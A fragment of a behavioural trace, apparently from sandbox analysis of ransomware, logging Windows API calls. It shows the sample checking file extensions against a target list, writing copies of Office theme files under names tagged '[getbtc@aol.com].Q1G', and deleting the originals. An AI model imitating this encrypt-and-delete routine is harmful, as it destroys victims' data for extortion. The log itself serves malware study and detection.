returned 1 [0244.816] CloseHandle (hObject=0x3a8) returned 1 [0244.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 1 [0244.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0244.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0244.817] lstrlenW (lpString=".doc") returned 4 [0244.817] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.817] lstrlenW (lpString=".docx") returned 5 [0244.817] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.817] lstrlenW (lpString=".pdf") returned 4 [0244.817] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.817] lstrlenW (lpString=".xls") returned 4 [0244.817] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.817] lstrlenW (lpString=".xlsx") returned 5 [0244.817] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.817] lstrlenW (lpString=".ppt") returned 4 [0244.817] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0244.817] lstrlenW (lpString=".zip") returned 4 [0244.817] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.817] lstrlenW (lpString=".rar") returned 4 [0244.817] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.817] lstrlenW (lpString=".bz2") returned 4 [0244.817] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.817] lstrlenW (lpString=".7z") returned 3 [0244.817] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0244.817] lstrlenW (lpString=".dbf") returned 4 [0244.817] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0244.817] lstrlenW (lpString=".1cd") returned 4 [0244.817] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0244.817] lstrlenW (lpString=".jpg") returned 4 [0244.817] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0244.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0244.818] lstrlenW (lpString=".doc") returned 4 [0244.818] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.818] lstrlenW (lpString=".docx") returned 5 [0244.818] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.818] lstrlenW (lpString=".pdf") returned 4 [0244.818] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.818] lstrlenW (lpString=".xls") returned 4 [0244.818] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.818] lstrlenW (lpString=".xlsx") returned 5 [0244.818] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.818] lstrlenW (lpString=".ppt") returned 4 [0244.818] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0244.818] lstrlenW (lpString=".zip") returned 4 [0244.818] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.818] lstrlenW (lpString=".rar") returned 4 [0244.818] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.818] lstrlenW (lpString=".bz2") returned 4 [0244.818] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.818] lstrlenW (lpString=".7z") returned 3 [0244.818] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0244.818] lstrlenW (lpString=".dbf") returned 4 [0244.818] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0244.818] lstrlenW (lpString=".1cd") returned 4 [0244.818] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0244.818] lstrlenW (lpString=".jpg") returned 4 [0244.818] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.819] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.819] lstrlenW (lpString="Paper.eftx") returned 10 [0244.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0244.820] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=228746) returned 1 [0244.820] CloseHandle (hObject=0x3a8) returned 1 [0244.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 0x20 [0244.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0244.820] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.820] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.821] GetLastError () returned 0x0 [0244.821] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x37d8a, lpOverlapped=0x0) returned 1 [0244.827] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x37d90, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x37d90, lpOverlapped=0x0) returned 1 [0245.038] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.038] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0245.038] SetEndOfFile (hFile=0x398) returned 1 [0245.038] CloseHandle (hObject=0x398) returned 1 [0245.038] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.039] SetEndOfFile (hFile=0x3a8) returned 1 [0245.045] CloseHandle (hObject=0x3a8) returned 1 [0245.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 1 [0245.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0245.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0245.129] lstrlenW (lpString=".doc") returned 4 [0245.129] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.129] lstrlenW (lpString=".docx") returned 5 [0245.129] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.129] lstrlenW (lpString=".pdf") returned 4 [0245.129] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.129] lstrlenW (lpString=".xls") returned 4 [0245.129] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.129] lstrlenW (lpString=".xlsx") returned 5 [0245.129] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.129] lstrlenW (lpString=".ppt") returned 4 [0245.129] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0245.129] lstrlenW (lpString=".zip") returned 4 [0245.129] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.129] lstrlenW (lpString=".rar") returned 4 [0245.129] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.129] lstrlenW (lpString=".bz2") returned 4 [0245.129] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.129] lstrlenW (lpString=".7z") returned 3 [0245.130] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0245.130] lstrlenW (lpString=".dbf") returned 4 [0245.130] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0245.130] lstrlenW (lpString=".1cd") returned 4 [0245.130] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0245.130] lstrlenW (lpString=".jpg") returned 4 [0245.130] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0245.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0245.130] lstrlenW (lpString=".doc") returned 4 [0245.130] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.130] lstrlenW (lpString=".docx") returned 5 [0245.130] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.130] lstrlenW (lpString=".pdf") returned 4 [0245.130] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.130] lstrlenW (lpString=".xls") returned 4 [0245.130] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.130] lstrlenW (lpString=".xlsx") returned 5 [0245.131] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.131] lstrlenW (lpString=".ppt") returned 4 [0245.131] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0245.131] lstrlenW (lpString=".zip") returned 4 [0245.131] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.131] lstrlenW (lpString=".rar") returned 4 [0245.131] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.131] lstrlenW (lpString=".bz2") returned 4 [0245.131] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.131] lstrlenW (lpString=".7z") returned 3 [0245.131] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0245.131] lstrlenW (lpString=".dbf") returned 4 [0245.131] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0245.131] lstrlenW (lpString=".1cd") returned 4 [0245.131] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0245.131] lstrlenW (lpString=".jpg") returned 4 [0245.131] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.131] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0245.131] lstrlenW (lpString="Thatch.eftx") returned 11 [0245.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0245.217] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=41295) returned 1 [0245.229] CloseHandle (hObject=0x398) returned 1 [0245.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 0x20 [0245.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0245.249] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.249] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0245.269] GetLastError () returned 0x0 [0245.287] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xa14f, lpOverlapped=0x0) returned 1 [0245.310] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xa150, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xa150, lpOverlapped=0x0) returned 1 [0245.318] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.318] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0245.319] SetEndOfFile (hFile=0x200) returned 1 [0245.319] CloseHandle (hObject=0x200) returned 1 [0245.319] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.319] SetEndOfFile (hFile=0x398) returned 1 [0245.322] CloseHandle (hObject=0x398) returned 1 [0245.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 1 [0245.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0245.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0245.667] lstrlenW (lpString=".doc") returned 4 [0245.667] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.667] lstrlenW (lpString=".docx") returned 5 [0245.667] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.667] lstrlenW (lpString=".pdf") returned 4 [0245.667] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.667] lstrlenW (lpString=".xls") returned 4 [0245.667] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.667] lstrlenW (lpString=".xlsx") returned 5 [0245.667] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.667] lstrlenW (lpString=".ppt") returned 4 [0245.667] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0245.668] lstrlenW (lpString=".zip") returned 4 [0245.668] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.668] lstrlenW (lpString=".rar") returned 4 [0245.668] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.668] lstrlenW (lpString=".bz2") returned 4 [0245.668] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.668] lstrlenW (lpString=".7z") returned 3 [0245.668] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0245.668] lstrlenW (lpString=".dbf") returned 4 [0245.668] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0245.668] lstrlenW (lpString=".1cd") returned 4 [0245.668] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0245.668] lstrlenW (lpString=".jpg") returned 4 [0245.668] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0245.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0245.668] lstrlenW (lpString=".doc") returned 4 [0245.668] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.668] lstrlenW (lpString=".docx") returned 5 [0245.668] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.668] lstrlenW (lpString=".pdf") returned 4 [0245.668] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.668] lstrlenW (lpString=".xls") returned 4 [0245.668] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.668] lstrlenW (lpString=".xlsx") returned 5 [0245.668] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.668] lstrlenW (lpString=".ppt") returned 4 [0245.668] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0245.669] lstrlenW (lpString=".zip") returned 4 [0245.669] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.669] lstrlenW (lpString=".rar") returned 4 [0245.669] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.669] lstrlenW (lpString=".bz2") returned 4 [0245.669] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.669] lstrlenW (lpString=".7z") returned 3 [0245.669] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0245.669] lstrlenW (lpString=".dbf") returned 4 [0245.669] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0245.669] lstrlenW (lpString=".1cd") returned 4 [0245.669] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0245.669] lstrlenW (lpString=".jpg") returned 4 [0245.669] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.669] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0245.669] lstrlenW (lpString="CAGCAT10.DLL") returned 12 [0245.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0246.466] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=15776) returned 1 [0246.466] CloseHandle (hObject=0x398) returned 1 [0246.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll")) returned 0x20 [0246.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0246.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0246.615] lstrlenW (lpString=".doc") returned 4 [0246.615] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0246.615] lstrlenW (lpString=".docx") returned 5 [0246.615] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0246.615] lstrlenW (lpString=".pdf") returned 4 [0246.615] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0246.615] lstrlenW (lpString=".xls") returned 4 [0246.615] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0246.615] lstrlenW (lpString=".xlsx") returned 5 [0246.615] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0246.616] lstrlenW (lpString=".ppt") returned 4 [0246.616] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0246.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0246.616] lstrlenW (lpString=".zip") returned 4 [0246.616] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0246.616] lstrlenW (lpString=".rar") returned 4 [0246.616] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0246.616] lstrlenW (lpString=".bz2") returned 4 [0246.616] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0246.616] lstrlenW (lpString=".7z") returned 3 [0246.616] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0246.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0246.616] lstrlenW (lpString=".dbf") returned 4 [0246.616] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0246.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0246.616] lstrlenW (lpString=".1cd") returned 4 [0246.616] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0246.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0246.616] lstrlenW (lpString=".jpg") returned 4 [0246.616] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0246.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0246.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0246.616] lstrlenW (lpString=".doc") returned 4 [0246.616] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0246.616] lstrlenW (lpString=".docx") returned 5 [0246.616] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0246.616] lstrlenW (lpString=".pdf") returned 4 [0246.616] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0246.616] lstrlenW (lpString=".xls") returned 4 [0246.616] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0246.616] lstrlenW (lpString=".xlsx") returned 5 [0246.616] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0246.616] lstrlenW 